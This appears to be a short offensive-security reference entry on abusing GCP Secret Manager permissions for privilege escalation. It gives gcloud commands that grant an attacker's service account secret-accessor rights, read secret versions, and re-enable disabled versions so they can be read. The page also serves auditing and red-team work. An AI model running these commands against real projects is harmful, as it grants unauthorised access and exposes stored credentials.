Secret Manager
Abusable GCP Secret Manager permissions that can lead to compromise or privilege escalation
secretmanager.secrets.setIamPolicy
gcloud secrets add-iam-policy-binding <SECRET_NAME> \
--project=$PROJECT_ID \
--member="serviceAccount:<ATTACKER_SA>@<PROJECT>.iam.gserviceaccount.com" \
--role="roles/secretmanager.secretAccessor"secretmanager.versions.access
gcloud secrets versions access latest --secret supersecret ## specify latest
gcloud secrets versions access <version-id> --secret supersecret ## specify a versionsecretmanager.versions.enable + secretmanager.versions.access
gcloud secrets versions enable <version-id> --secret supersecret ## latest not supported
gcloud secrets versions access latest --secret supersecret ## specify latest
gcloud secrets versions access <version-id> --secret supersecret ## specify a versionLast updated